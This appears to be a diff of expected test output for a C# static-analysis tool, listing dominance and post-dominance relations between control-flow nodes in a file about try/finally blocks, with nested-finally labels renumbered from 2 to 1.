Finally.cs:97:21:97:24 | [finally: return] ...; | | Finally.cs:96:17:98:17 | {...} | Finally.cs:97:21:97:24 | ...; | -| Finally.cs:97:21:97:21 | [finally(2): exception(Exception)] access to local variable i | Finally.cs:97:21:97:23 | [finally(2): exception(Exception)] ...-- | -| Finally.cs:97:21:97:21 | [finally: break, finally(2): exception(Exception)] access to local variable i | Finally.cs:97:21:97:23 | [finally: break, finally(2): exception(Exception)] ...-- | +| Finally.cs:97:21:97:21 | [finally(1): exception(Exception)] access to local variable i | Finally.cs:97:21:97:23 | [finally(1): exception(Exception)] ...-- | +| Finally.cs:97:21:97:21 | [finally: break, finally(1): exception(Exception)] access to local variable i | Finally.cs:97:21:97:23 | [finally: break, finally(1): exception(Exception)] ...-- | | Finally.cs:97:21:97:21 | [finally: break] access to local variable i | Finally.cs:97:21:97:23 | [finally: break] ...-- | -| Finally.cs:97:21:97:21 | [finally: continue, finally(2): exception(Exception)] access to local variable i | Finally.cs:97:21:97:23 | [finally: continue, finally(2): exception(Exception)] ...-- | +| Finally.cs:97:21:97:21 | [finally: continue, finally(1): exception(Exception)] access to local variable i | Finally.cs:97:21:97:23 | [finally: continue, finally(1): exception(Exception)] ...-- | | Finally.cs:97:21:97:21 | [finally: continue] access to local variable i | Finally.cs:97:21:97:23 | [finally: continue] ...-- | -| Finally.cs:97:21:97:21 | [finally: return, finally(2): exception(Exception)] access to local variable i | Finally.cs:97:21:97:23 | [finally: return, finally(2): exception(Exception)] ...-- | +| Finally.cs:97:21:97:21 | [finally: return, finally(1): exception(Exception)] access to local variable i | Finally.cs:97:21:97:23 | [finally: return, finally(1): exception(Exception)] ...-- | | Finally.cs:97:21:97:21 | [finally: return] access to local variable i | Finally.cs:97:21:97:23 | [finally: return] ...-- | | Finally.cs:97:21:97:21 | access to local variable i | Finally.cs:97:21:97:23 | ...-- | | Finally.cs:97:21:97:24 | ...; | Finally.cs:97:21:97:21 | access to local variable i | -| Finally.cs:97:21:97:24 | [finally(2): exception(Exception)] ...; | Finally.cs:97:21:97:21 | [finally(2): exception(Exception)] access to local variable i | -| Finally.cs:97:21:97:24 | [finally: break, finally(2): exception(Exception)] ...; | Finally.cs:97:21:97:21 | [finally: break, finally(2): exception(Exception)] access to local variable i | +| Finally.cs:97:21:97:24 | [finally(1): exception(Exception)] ...; | Finally.cs:97:21:97:21 | [finally(1): exception(Exception)] access to local variable i | +| Finally.cs:97:21:97:24 | [finally: break, finally(1): exception(Exception)] ...; | Finally.cs:97:21:97:21 | [finally: break, finally(1): exception(Exception)] access to local variable i | | Finally.cs:97:21:97:24 | [finally: break] ...; | Finally.cs:97:21:97:21 | [finally: break] access to local variable i | -| Finally.cs:97:21:97:24 | [finally: continue, finally(2): exception(Exception)] ...; | Finally.cs:97:21:97:21 | [finally: continue, finally(2): exception(Exception)] access to local variable i | +| Finally.cs:97:21:97:24 | [finally: continue, finally(1): exception(Exception)] ...; | Finally.cs:97:21:97:21 | [finally: continue, finally(1): exception(Exception)] access to local variable i | | Finally.cs:97:21:97:24 | [finally: continue] ...; | Finally.cs:97:21:97:21 | [finally: continue] access to local variable i | -| Finally.cs:97:21:97:24 | [finally: return, finally(2): exception(Exception)] ...; | Finally.cs:97:21:97:21 | [finally: return, finally(2): exception(Exception)] access to local variable i | +| Finally.cs:97:21:97:24 | [finally: return, finally(1): exception(Exception)] ...; | Finally.cs:97:21:97:21 | [finally: return, finally(1): exception(Exception)] access to local variable i | | Finally.cs:97:21:97:24 | [finally: return] ...; | Finally.cs:97:21:97:21 | [finally: return] access to local variable i | | Finally.cs:103:10:103:11 | enter M5 | Finally.cs:104:5:119:5 | {...} | | Finally.cs:104:5:119:5 | {...} | Finally.cs:105:9:118:9 | try {...} ... | @@ -2238,52 +2238,52 @@ dominance | Finally.cs:205:21:205:22 | [finally: exception(ExceptionA)] access to parameter b2 | Finally.cs:208:13:210:13 | [finally: exception(ExceptionA)] {...} | | Finally.cs:205:21:205:22 | access to parameter b2 | Finally.cs:205:31:205:46 | object creation of type ExceptionB | | Finally.cs:205:21:205:22 | access to parameter b2 | Finally.cs:208:13:210:13 | {...} | -| Finally.cs:205:25:205:47 | [finally: exception(Exception)] throw ...; | Finally.cs:208:13:210:13 | [finally: exception(Exception), finally(2): exception(ExceptionB)] {...} | -| Finally.cs:205:25:205:47 | [finally: exception(ExceptionA)] throw ...; | Finally.cs:208:13:210:13 | [finally: exception(ExceptionA), finally(2): exception(ExceptionB)] {...} | -| Finally.cs:205:25:205:47 | throw ...; | Finally.cs:208:13:210:13 | [finally(2): exception(ExceptionB)] {...} | +| Finally.cs:205:25:205:47 | [finally: exception(Exception)] throw ...; | Finally.cs:208:13:210:13 | [finally: exception(Exception), finally(1): exception(ExceptionB)] {...} | +| Finally.cs:205:25:205:47 | [finally: exception(ExceptionA)] throw ...; | Finally.cs:208:13:210:13 | [finally: exception(ExceptionA), finally(1): exception(ExceptionB)] {...} | +| Finally.cs:205:25:205:47 | throw ...; | Finally.cs:208:13:210:13 | [finally(1): exception(ExceptionB)] {...} | | Finally.cs:205:31:205:46 | [finally: exception(Exception)] object creation of type ExceptionB | Finally.cs:205:25:205:47 | [finally: exception(Exception)] throw ...; | -| Finally.cs:205:31:205:46 | [finally: exception(Exception)] object creation of type ExceptionB | Finally.cs:208:13:210:13 | [finally: exception(Exception), finally(2): exception(Exception)] {...} | +| Finally.cs:205:31:205:46 | [finally: exception(Exception)] object creation of type ExceptionB | Finally.cs:208:13:210:13 | [finally: exception(Exception), finally(1): exception(Exception)] {...} | | Finally.cs:205:31:205:46 | [finally: exception(ExceptionA)] object creation of type ExceptionB | Finally.cs:205:25:205:47 | [finally: exception(ExceptionA)] throw ...; | -| Finally.cs:205:31:205:46 | [finally: exception(ExceptionA)] object creation of type ExceptionB | Finally.cs:208:13:210:13 | [finally: exception(ExceptionA), finally(2): exception(Exception)] {...} | +| Finally.cs:205:31:205:46 | [finally: exception(ExceptionA)] object creation of type ExceptionB | Finally.cs:208:13:210:13 | [finally: exception(ExceptionA), finally(1): exception(Exception)] {...} | | Finally.cs:205:31:205:46 | object creation of type ExceptionB | Finally.cs:205:25:205:47 | throw ...; | -| Finally.cs:205:31:205:46 | object creation of type ExceptionB | Finally.cs:208:13:210:13 | [finally(2): exception(Exception)] {...} | -| Finally.cs:208:13:210:13 | [finally(2): exception(Exception)] {...} | Finally.cs:209:17:209:47 | [finally(2): exception(Exception)] if (...) ... | -| Finally.cs:208:13:210:13 | [finally(2): exception(ExceptionB)] {...} | Finally.cs:209:17:209:47 | [finally(2): exception(ExceptionB)] if (...) ... | -| Finally.cs:208:13:210:13 | [finally: exception(Exception), finally(2): exception(Exception)] {...} | Finally.cs:209:17:209:47 | [finally: exception(Exception), finally(2): exception(Exception)] if (...) ... | -| Finally.cs:208:13:210:13 | [finally: exception(Exception), finally(2): exception(ExceptionB)] {...} | Finally.cs:209:17:209:47 | [finally: exception(Exception), finally(2): exception(ExceptionB)] if (...) ... | +| Finally.cs:205:31:205:46 | object creation of type ExceptionB | Finally.cs:208:13:210:13 | [finally(1): exception(Exception)] {...} | +| Finally.cs:208:13:210:13 | [finally(1): exception(Exception)] {...} | Finally.cs:209:17:209:47 | [finally(1): exception(Exception)] if (...) ... | +| Finally.cs:208:13:210:13 | [finally(1): exception(ExceptionB)] {...} | Finally.cs:209:17:209:47 | [finally(1): exception(ExceptionB)] if (...) ... | +| Finally.cs:208:13:210:13 | [finally: exception(Exception), finally(1): exception(Exception)] {...} | Finally.cs:209:17:209:47 | [finally: exception(Exception), finally(1): exception(Exception)] if (...) ... | +| Finally.cs:208:13:210:13 | [finally: exception(Exception), finally(1): exception(ExceptionB)] {...} | Finally.cs:209:17:209:47 | [finally: exception(Exception), finally(1): exception(ExceptionB)] if (...) ... | | Finally.cs:208:13:210:13 | [finally: exception(Exception)] {...} | Finally.cs:209:17:209:47 | [finally: exception(Exception)] if (...) ... | -| Finally.cs:208:13:210:13 | [finally: exception(ExceptionA), finally(2): exception(Exception)] {...} | Finally.cs:209:17:209:47 | [finally: exception(ExceptionA), finally(2): exception(Exception)] if (...) ... | -| Finally.cs:208:13:210:13 | [finally: exception(ExceptionA), finally(2): exception(ExceptionB)] {...} | Finally.cs:209:17:209:47 | [finally: exception(ExceptionA), finally(2): exception(ExceptionB)] if (...) ... | +| Finally.cs:208:13:210:13 | [finally: exception(ExceptionA), finally(1): exception(Exception)] {...} | Finally.cs:209:17:209:47 | [finally: exception(ExceptionA), finally(1): exception(Exception)] if (...) ... | +| Finally.cs:208:13:210:13 | [finally: exception(ExceptionA), finally(1): exception(ExceptionB)] {...} | Finally.cs:209:17:209:47 | [finally: exception(ExceptionA), finally(1): exception(ExceptionB)] if (...) ... | | Finally.cs:208:13:210:13 | [finally: exception(ExceptionA)] {...} | Finally.cs:209:17:209:47 | [finally: exception(ExceptionA)] if (...) ... | | Finally.cs:208:13:210:13 | {...} | Finally.cs:209:17:209:47 | if (...) ... | -| Finally.cs:209:17:209:47 | [finally(2): exception(Exception)] if (...) ... | Finally.cs:209:21:209:22 | [finally(2): exception(Exception)] access to parameter b3 | -| Finally.cs:209:17:209:47 | [finally(2): exception(ExceptionB)] if (...) ... | Finally.cs:209:21:209:22 | [finally(2): exception(ExceptionB)] access to parameter b3 | -| Finally.cs:209:17:209:47 | [finally: exception(Exception), finally(2): exception(Exception)] if (...) ... | Finally.cs:209:21:209:22 | [finally: exception(Exception), finally(2): exception(Exception)] access to parameter b3 | -| Finally.cs:209:17:209:47 | [finally: exception(Exception), finally(2): exception(ExceptionB)] if (...) ... | Finally.cs:209:21:209:22 | [finally: exception(Exception), finally(2): exception(ExceptionB)] access to parameter b3 | +| Finally.cs:209:17:209:47 | [finally(1): exception(Exception)] if (...) ... | Finally.cs:209:21:209:22 | [finally(1): exception(Exception)] access to parameter b3 | +| Finally.cs:209:17:209:47 | [finally(1): exception(ExceptionB)] if (...) ... | Finally.cs:209:21:209:22 | [finally(1): exception(ExceptionB)] access to parameter b3 | +| Finally.cs:209:17:209:47 | [finally: exception(Exception), finally(1): exception(Exception)] if (...) ... | Finally.cs:209:21:209:22 | [finally: exception(Exception), finally(1): exception(Exception)] access to parameter b3 | +| Finally.cs:209:17:209:47 | [finally: exception(Exception), finally(1): exception(ExceptionB)] if (...) ... | Finally.cs:209:21:209:22 | [finally: exception(Exception), finally(1): exception(ExceptionB)] access to parameter b3 | | Finally.cs:209:17:209:47 | [finally: exception(Exception)] if (...) ... | Finally.cs:209:21:209:22 | [finally: exception(Exception)] access to parameter b3 | -| Finally.cs:209:17:209:47 | [finally: exception(ExceptionA), finally(2): exception(Exception)] if (...) ... | Finally.cs:209:21:209:22 | [finally: exception(ExceptionA), finally(2): exception(Exception)] access to parameter b3 | -| Finally.cs:209:17:209:47 | [finally: exception(ExceptionA), finally(2): exception(ExceptionB)] if (...) ... | Finally.cs:209:21:209:22 | [finally: exception(ExceptionA), finally(2): exception(ExceptionB)] access to parameter b3 | +| Finally.cs:209:17:209:47 | [finally: exception(ExceptionA), finally(1): exception(Exception)] if (...) ... | Finally.cs:209:21:209:22 | [finally: exception(ExceptionA), finally(1): exception(Exception)] access to parameter b3 | +| Finally.cs:209:17:209:47 | [finally: exception(ExceptionA), finally(1): exception(ExceptionB)] if (...) ... | Finally.cs:209:21:209:22 | [finally: exception(ExceptionA), finally(1): exception(ExceptionB)] access to parameter b3 | | Finally.cs:209:17:209:47 | [finally: exception(ExceptionA)] if (...) ... | Finally.cs:209:21:209:22 | [finally: exception(ExceptionA)] access to parameter b3 | | Finally.cs:209:17:209:47 | if (...) ... | Finally.cs:209:21:209:22 | access to parameter b3 | -| Finally.cs:209:21:209:22 | [finally(2): exception(Exception)] access to parameter b3 | Finally.cs:209:31:209:46 | [finally(2): exception(Exception)] object creation of type ExceptionC | -| Finally.cs:209:21:209:22 | [finally(2): exception(ExceptionB)] access to parameter b3 | Finally.cs:209:31:209:46 | [finally(2): exception(ExceptionB)] object creation of type ExceptionC | -| Finally.cs:209:21:209:22 | [finally: exception(Exception), finally(2): exception(Exception)] access to parameter b3 | Finally.cs:209:31:209:46 | [finally: exception(Exception), finally(2): exception(Exception)] object creation of type ExceptionC | -| Finally.cs:209:21:209:22 | [finally: exception(Exception), finally(2): exception(ExceptionB)] access to parameter b3 | Finally.cs:209:31:209:46 | [finally: exception(Exception), finally(2): exception(ExceptionB)] object creation of type ExceptionC | +| Finally.cs:209:21:209:22 | [finally(1): exception(Exception)] access to parameter b3 | Finally.cs:209:31:209:46 | [finally(1): exception(Exception)] object creation of type ExceptionC | +| Finally.cs:209:21:209:22 | [finally(1): exception(ExceptionB)] access to parameter b3 | Finally.cs:209:31:209:46 | [finally(1): exception(ExceptionB)] object creation of type ExceptionC | +| Finally.cs:209:21:209:22 | [finally: exception(Exception), finally(1): exception(Exception)] access to parameter b3 | Finally.cs:209:31:209:46 | [finally: exception(Exception), finally(1): exception(Exception)] object creation of type ExceptionC | +| Finally.cs:209:21:209:22 | [finally: exception(Exception), finally(1): exception(ExceptionB)] access to parameter b3 | Finally.cs:209:31:209:46 | [finally: exception(Exception), finally(1): exception(ExceptionB)] object creation of type ExceptionC | | Finally.cs:209:21:209:22 | [finally: exception(Exception)] access to parameter b3 | Finally.cs:209:31:209:46 | [finally: exception(Exception)] object creation of type ExceptionC | | Finally.cs:209:21:209:22 | [finally: exception(Exception)] access to parameter b3 | Finally.cs:211:13:211:29 | [finally: exception(Exception)] ...; | -| Finally.cs:209:21:209:22 | [finally: exception(ExceptionA), finally(2): exception(Exception)] access to parameter b3 | Finally.cs:209:31:209:46 | [finally: exception(ExceptionA), finally(2): exception(Exception)] object creation of type ExceptionC | -| Finally.cs:209:21:209:22 | [finally: exception(ExceptionA), finally(2): exception(ExceptionB)] access to parameter b3 | Finally.cs:209:31:209:46 | [finally: exception(ExceptionA), finally(2): exception(ExceptionB)] object creation of type ExceptionC | +| Finally.cs:209:21:209:22 | [finally: exception(ExceptionA), finally(1): exception(Exception)] access to parameter b3 | Finally.cs:209:31:209:46 | [finally: exception(ExceptionA), finally(1): exception(Exception)] object creation of type ExceptionC | +| Finally.cs:209:21:209:22 | [finally: exception(ExceptionA), finally(1): exception(ExceptionB)] access to parameter b3 | Finally.cs:209:31:209:46 | [finally: exception(ExceptionA), finally(1): exception(ExceptionB)] object creation of type ExceptionC | | Finally.cs:209:21:209:22 | [finally: exception(ExceptionA)] access to parameter b3 | Finally.cs:209:31:209:46 | [finally: exception(ExceptionA)] object creation of type ExceptionC | | Finally.cs:209:21:209:22 | [finally: exception(ExceptionA)] access to parameter b3 | Finally.cs:211:13:211:29 | [finally: exception(ExceptionA)] ...; | | Finally.cs:209:21:209:22 | access to parameter b3 | Finally.cs:209:31:209:46 | object creation of type ExceptionC | | Finally.cs:209:21:209:22 | access to parameter b3 | Finally.cs:211:13:211:29 | ...; | -| Finally.cs:209:31:209:46 | [finally(2): exception(Exception)] object creation of type ExceptionC | Finally.cs:209:25:209:47 | [finally(2): exception(Exception)] throw ...; | -| Finally.cs:209:31:209:46 | [finally(2): exception(ExceptionB)] object creation of type ExceptionC | Finally.cs:209:25:209:47 | [finally(2): exception(ExceptionB)] throw ...; | -| Finally.cs:209:31:209:46 | [finally: exception(Exception), finally(2): exception(Exception)] object creation of type ExceptionC | Finally.cs:209:25:209:47 | [finally: exception(Exception), finally(2): exception(Exception)] throw ...; | -| Finally.cs:209:31:209:46 | [finally: exception(Exception), finally(2): exception(ExceptionB)] object creation of type ExceptionC | Finally.cs:209:25:209:47 | [finally: exception(Exception), finally(2): exception(ExceptionB)] throw ...; | +| Finally.cs:209:31:209:46 | [finally(1): exception(Exception)] object creation of type ExceptionC | Finally.cs:209:25:209:47 | [finally(1): exception(Exception)] throw ...; | +| Finally.cs:209:31:209:46 | [finally(1): exception(ExceptionB)] object creation of type ExceptionC | Finally.cs:209:25:209:47 | [finally(1): exception(ExceptionB)] throw ...; | +| Finally.cs:209:31:209:46 | [finally: exception(Exception), finally(1): exception(Exception)] object creation of type ExceptionC | Finally.cs:209:25:209:47 | [finally: exception(Exception), finally(1): exception(Exception)] throw ...; | +| Finally.cs:209:31:209:46 | [finally: exception(Exception), finally(1): exception(ExceptionB)] object creation of type ExceptionC | Finally.cs:209:25:209:47 | [finally: exception(Exception), finally(1): exception(ExceptionB)] throw ...; | | Finally.cs:209:31:209:46 | [finally: exception(Exception)] object creation of type ExceptionC | Finally.cs:209:25:209:47 | [finally: exception(Exception)] throw ...; | -| Finally.cs:209:31:209:46 | [finally: exception(ExceptionA), finally(2): exception(Exception)] object creation of type ExceptionC | Finally.cs:209:25:209:47 | [finally: exception(ExceptionA), finally(2): exception(Exception)] throw ...; | -| Finally.cs:209:31:209:46 | [finally: exception(ExceptionA), finally(2): exception(ExceptionB)] object creation of type ExceptionC | Finally.cs:209:25:209:47 | [finally: exception(ExceptionA), finally(2): exception(ExceptionB)] throw ...; | +| Finally.cs:209:31:209:46 | [finally: exception(ExceptionA), finally(1): exception(Exception)] object creation of type ExceptionC | Finally.cs:209:25:209:47 | [finally: exception(ExceptionA), finally(1): exception(Exception)] throw ...; | +| Finally.cs:209:31:209:46 | [finally: exception(ExceptionA), finally(1): exception(ExceptionB)] object creation of type ExceptionC | Finally.cs:209:25:209:47 | [finally: exception(ExceptionA), finally(1): exception(ExceptionB)] throw ...; | | Finally.cs:209:31:209:46 | [finally: exception(ExceptionA)] object creation of type ExceptionC | Finally.cs:209:25:209:47 | [finally: exception(ExceptionA)] throw ...; | | Finally.cs:209:31:209:46 | object creation of type ExceptionC | Finally.cs:209:25:209:47 | throw ...; | | Finally.cs:211:13:211:16 | [finally: exception(Exception)] this access | Finally.cs:211:26:211:28 | [finally: exception(Exception)] "0" | @@ -2349,42 +2349,42 @@ dominance | Finally.cs:246:25:246:26 | [finally: exception(ExceptionA)] access to parameter b2 | Finally.cs:250:17:252:17 | [finally: exception(ExceptionA)] {...} | | Finally.cs:246:25:246:26 | access to parameter b2 | Finally.cs:247:31:247:46 | object creation of type ExceptionA | | Finally.cs:246:25:246:26 | access to parameter b2 | Finally.cs:250:17:252:17 | {...} | -| Finally.cs:247:25:247:47 | [finally: exception(Exception)] throw ...; | Finally.cs:250:17:252:17 | [finally: exception(Exception), finally(2): exception(ExceptionA)] {...} | -| Finally.cs:247:25:247:47 | [finally: exception(ExceptionA)] throw ...; | Finally.cs:250:17:252:17 | [finally: exception(ExceptionA), finally(2): exception(ExceptionA)] {...} | -| Finally.cs:247:25:247:47 | throw ...; | Finally.cs:250:17:252:17 | [finally(2): exception(ExceptionA)] {...} | +| Finally.cs:247:25:247:47 | [finally: exception(Exception)] throw ...; | Finally.cs:250:17:252:17 | [finally: exception(Exception), finally(1): exception(ExceptionA)] {...} | +| Finally.cs:247:25:247:47 | [finally: exception(ExceptionA)] throw ...; | Finally.cs:250:17:252:17 | [finally: exception(ExceptionA), finally(1): exception(ExceptionA)] {...} | +| Finally.cs:247:25:247:47 | throw ...; | Finally.cs:250:17:252:17 | [finally(1): exception(ExceptionA)] {...} | | Finally.cs:247:31:247:46 | [finally: exception(Exception)] object creation of type ExceptionA | Finally.cs:247:25:247:47 | [finally: exception(Exception)] throw ...; | -| Finally.cs:247:31:247:46 | [finally: exception(Exception)] object creation of type ExceptionA | Finally.cs:250:17:252:17 | [finally: exception(Exception), finally(2): exception(Exception)] {...} | +| Finally.cs:247:31:247:46 | [finally: exception(Exception)] object creation of type ExceptionA | Finally.cs:250:17:252:17 | [finally: exception(Exception), finally(1): exception(Exception)] {...} | | Finally.cs:247:31:247:46 | [finally: exception(ExceptionA)] object creation of type ExceptionA | Finally.cs:247:25:247:47 | [finally: exception(ExceptionA)] throw ...; | -| Finally.cs:247:31:247:46 | [finally: exception(ExceptionA)] object creation of type ExceptionA | Finally.cs:250:17:252:17 | [finally: exception(ExceptionA), finally(2): exception(Exception)] {...} | +| Finally.cs:247:31:247:46 | [finally: exception(ExceptionA)] object creation of type ExceptionA | Finally.cs:250:17:252:17 | [finally: exception(ExceptionA), finally(1): exception(Exception)] {...} | | Finally.cs:247:31:247:46 | object creation of type ExceptionA | Finally.cs:247:25:247:47 | throw ...; | -| Finally.cs:247:31:247:46 | object creation of type ExceptionA | Finally.cs:250:17:252:17 | [finally(2): exception(Exception)] {...} | -| Finally.cs:250:17:252:17 | [finally(2): exception(Exception)] {...} | Finally.cs:251:21:251:55 | [finally(2): exception(Exception)] ...; | -| Finally.cs:250:17:252:17 | [finally(2): exception(ExceptionA)] {...} | Finally.cs:251:21:251:55 | [finally(2): exception(ExceptionA)] ...; | -| Finally.cs:250:17:252:17 | [finally: exception(Exception), finally(2): exception(Exception)] {...} | Finally.cs:251:21:251:55 | [finally: exception(Exception), finally(2): exception(Exception)] ...; | -| Finally.cs:250:17:252:17 | [finally: exception(Exception), finally(2): exception(ExceptionA)] {...} | Finally.cs:251:21:251:55 | [finally: exception(Exception), finally(2): exception(ExceptionA)] ...; | +| Finally.cs:247:31:247:46 | object creation of type ExceptionA | Finally.cs:250:17:252:17 | [finally(1): exception(Exception)] {...} | +| Finally.cs:250:17:252:17 | [finally(1): exception(Exception)] {...} | Finally.cs:251:21:251:55 | [finally(1): exception(Exception)] ...; | +| Finally.cs:250:17:252:17 | [finally(1): exception(ExceptionA)] {...} | Finally.cs:251:21:251:55 | [finally(1): exception(ExceptionA)] ...; | +| Finally.cs:250:17:252:17 | [finally: exception(Exception), finally(1): exception(Exception)] {...} | Finally.cs:251:21:251:55 | [finally: exception(Exception), finally(1): exception(Exception)] ...; | +| Finally.cs:250:17:252:17 | [finally: exception(Exception), finally(1): exception(ExceptionA)] {...} | Finally.cs:251:21:251:55 | [finally: exception(Exception), finally(1): exception(ExceptionA)] ...; | | Finally.cs:250:17:252:17 | [finally: exception(Exception)] {...} | Finally.cs:251:21:251:55 | [finally: exception(Exception)] ...; | -| Finally.cs:250:17:252:17 | [finally: exception(ExceptionA), finally(2): exception(Exception)] {...} | Finally.cs:251:21:251:55 | [finally: exception(ExceptionA), finally(2): exception(Exception)] ...; | -| Finally.cs:250:17:252:17 | [finally: exception(ExceptionA), finally(2): exception(ExceptionA)] {...} | Finally.cs:251:21:251:55 | [finally: exception(ExceptionA), finally(2): exception(ExceptionA)] ...; | +| Finally.cs:250:17:252:17 | [finally: exception(ExceptionA), finally(1): exception(Exception)] {...} | Finally.cs:251:21:251:55 | [finally: exception(ExceptionA), finally(1): exception(Exception)] ...; | +| Finally.cs:250:17:252:17 | [finally: exception(ExceptionA), finally(1): exception(ExceptionA)] {...} | Finally.cs:251:21:251:55 | [finally: exception(ExceptionA), finally(1): exception(ExceptionA)] ...; | | Finally.cs:250:17:252:17 | [finally: exception(ExceptionA)] {...} | Finally.cs:251:21:251:55 | [finally: exception(ExceptionA)] ...; | | Finally.cs:250:17:252:17 | {...} | Finally.cs:251:21:251:55 | ...; | | Finally.cs:251:21:251:54 | call to method WriteLine | Finally.cs:254:13:254:45 | ...; | | Finally.cs:251:21:251:55 | ...; | Finally.cs:251:39:251:53 | "Inner finally" | -| Finally.cs:251:21:251:55 | [finally(2): exception(Exception)] ...; | Finally.cs:251:39:251:53 | [finally(2): exception(Exception)] "Inner finally" | -| Finally.cs:251:21:251:55 | [finally(2): exception(ExceptionA)] ...; | Finally.cs:251:39:251:53 | [finally(2): exception(ExceptionA)] "Inner finally" | -| Finally.cs:251:21:251:55 | [finally: exception(Exception), finally(2): exception(Exception)] ...; | Finally.cs:251:39:251:53 | [finally: exception(Exception), finally(2): exception(Exception)] "Inner finally" | -| Finally.cs:251:21:251:55 | [finally: exception(Exception), finally(2): exception(ExceptionA)] ...; | Finally.cs:251:39:251:53 | [finally: exception(Exception), finally(2): exception(ExceptionA)] "Inner finally" | +| Finally.cs:251:21:251:55 | [finally(1): exception(Exception)] ...; | Finally.cs:251:39:251:53 | [finally(1): exception(Exception)] "Inner finally" | +| Finally.cs:251:21:251:55 | [finally(1): exception(ExceptionA)] ...; | Finally.cs:251:39:251:53 | [finally(1): exception(ExceptionA)] "Inner finally" | +| Finally.cs:251:21:251:55 | [finally: exception(Exception), finally(1): exception(Exception)] ...; | Finally.cs:251:39:251:53 | [finally: exception(Exception), finally(1): exception(Exception)] "Inner finally" | +| Finally.cs:251:21:251:55 | [finally: exception(Exception), finally(1): exception(ExceptionA)] ...; | Finally.cs:251:39:251:53 | [finally: exception(Exception), finally(1): exception(ExceptionA)] "Inner finally" | | Finally.cs:251:21:251:55 | [finally: exception(Exception)] ...; | Finally.cs:251:39:251:53 | [finally: exception(Exception)] "Inner finally" | -| Finally.cs:251:21:251:55 | [finally: exception(ExceptionA), finally(2): exception(Exception)] ...; | Finally.cs:251:39:251:53 | [finally: exception(ExceptionA), finally(2): exception(Exception)] "Inner finally" | -| Finally.cs:251:21:251:55 | [finally: exception(ExceptionA), finally(2): exception(ExceptionA)] ...; | Finally.cs:251:39:251:53 | [finally: exception(ExceptionA), finally(2): exception(ExceptionA)] "Inner finally" | +| Finally.cs:251:21:251:55 | [finally: exception(ExceptionA), finally(1): exception(Exception)] ...; | Finally.cs:251:39:251:53 | [finally: exception(ExceptionA), finally(1): exception(Exception)] "Inner finally" | +| Finally.cs:251:21:251:55 | [finally: exception(ExceptionA), finally(1): exception(ExceptionA)] ...; | Finally.cs:251:39:251:53 | [finally: exception(ExceptionA), finally(1): exception(ExceptionA)] "Inner finally" | | Finally.cs:251:21:251:55 | [finally: exception(ExceptionA)] ...; | Finally.cs:251:39:251:53 | [finally: exception(ExceptionA)] "Inner finally" | | Finally.cs:251:39:251:53 | "Inner finally" | Finally.cs:251:21:251:54 | call to method WriteLine | -| Finally.cs:251:39:251:53 | [finally(2): exception(Exception)] "Inner finally" | Finally.cs:251:21:251:54 | [finally(2): exception(Exception)] call to method WriteLine | -| Finally.cs:251:39:251:53 | [finally(2): exception(ExceptionA)] "Inner finally" | Finally.cs:251:21:251:54 | [finally(2): exception(ExceptionA)] call to method WriteLine | -| Finally.cs:251:39:251:53 | [finally: exception(Exception), finally(2): exception(Exception)] "Inner finally" | Finally.cs:251:21:251:54 | [finally: exception(Exception), finally(2): exception(Exception)] call to method WriteLine | -| Finally.cs:251:39:251:53 | [finally: exception(Exception), finally(2): exception(ExceptionA)] "Inner finally" | Finally.cs:251:21:251:54 | [finally: exception(Exception), finally(2): exception(ExceptionA)] call to method WriteLine | +| Finally.cs:251:39:251:53 | [finally(1): exception(Exception)] "Inner finally" | Finally.cs:251:21:251:54 | [finally(1): exception(Exception)] call to method WriteLine | +| Finally.cs:251:39:251:53 | [finally(1): exception(ExceptionA)] "Inner finally" | Finally.cs:251:21:251:54 | [finally(1): exception(ExceptionA)] call to method WriteLine | +| Finally.cs:251:39:251:53 | [finally: exception(Exception), finally(1): exception(Exception)] "Inner finally" | Finally.cs:251:21:251:54 | [finally: exception(Exception), finally(1): exception(Exception)] call to method WriteLine | +| Finally.cs:251:39:251:53 | [finally: exception(Exception), finally(1): exception(ExceptionA)] "Inner finally" | Finally.cs:251:21:251:54 | [finally: exception(Exception), finally(1): exception(ExceptionA)] call to method WriteLine | | Finally.cs:251:39:251:53 | [finally: exception(Exception)] "Inner finally" | Finally.cs:251:21:251:54 | [finally: exception(Exception)] call to method WriteLine | -| Finally.cs:251:39:251:53 | [finally: exception(ExceptionA), finally(2): exception(Exception)] "Inner finally" | Finally.cs:251:21:251:54 | [finally: exception(ExceptionA), finally(2): exception(Exception)] call to method WriteLine | -| Finally.cs:251:39:251:53 | [finally: exception(ExceptionA), finally(2): exception(ExceptionA)] "Inner finally" | Finally.cs:251:21:251:54 | [finally: exception(ExceptionA), finally(2): exception(ExceptionA)] call to method WriteLine | +| Finally.cs:251:39:251:53 | [finally: exception(ExceptionA), finally(1): exception(Exception)] "Inner finally" | Finally.cs:251:21:251:54 | [finally: exception(ExceptionA), finally(1): exception(Exception)] call to method WriteLine | +| Finally.cs:251:39:251:53 | [finally: exception(ExceptionA), finally(1): exception(ExceptionA)] "Inner finally" | Finally.cs:251:21:251:54 | [finally: exception(ExceptionA), finally(1): exception(ExceptionA)] call to method WriteLine | | Finally.cs:251:39:251:53 | [finally: exception(ExceptionA)] "Inner finally" | Finally.cs:251:21:251:54 | [finally: exception(ExceptionA)] call to method WriteLine | | Finally.cs:254:13:254:44 | call to method WriteLine | Finally.cs:257:9:259:9 | {...} | | Finally.cs:254:13:254:45 | ...; | Finally.cs:254:31:254:43 | "Mid finally" | @@ -5927,29 +5927,29 @@ postDominance | Finally.cs:96:17:98:17 | [finally: continue] {...} | Finally.cs:92:25:92:30 | [finally: continue] ... == ... | | Finally.cs:96:17:98:17 | [finally: return] {...} | Finally.cs:92:25:92:30 | [finally: return] ... == ... | | Finally.cs:96:17:98:17 | {...} | Finally.cs:92:25:92:30 | ... == ... | -| Finally.cs:97:21:97:21 | [finally(2): exception(Exception)] access to local variable i | Finally.cs:97:21:97:24 | [finally(2): exception(Exception)] ...; | -| Finally.cs:97:21:97:21 | [finally: break, finally(2): exception(Exception)] access to local variable i | Finally.cs:97:21:97:24 | [finally: break, finally(2): exception(Exception)] ...; | +| Finally.cs:97:21:97:21 | [finally(1): exception(Exception)] access to local variable i | Finally.cs:97:21:97:24 | [finally(1): exception(Exception)] ...; | +| Finally.cs:97:21:97:21 | [finally: break, finally(1): exception(Exception)] access to local variable i | Finally.cs:97:21:97:24 | [finally: break, finally(1): exception(Exception)] ...; | | Finally.cs:97:21:97:21 | [finally: break] access to local variable i | Finally.cs:97:21:97:24 | [finally: break] ...; | -| Finally.cs:97:21:97:21 | [finally: continue, finally(2): exception(Exception)] access to local variable i | Finally.cs:97:21:97:24 | [finally: continue, finally(2): exception(Exception)] ...; | +| 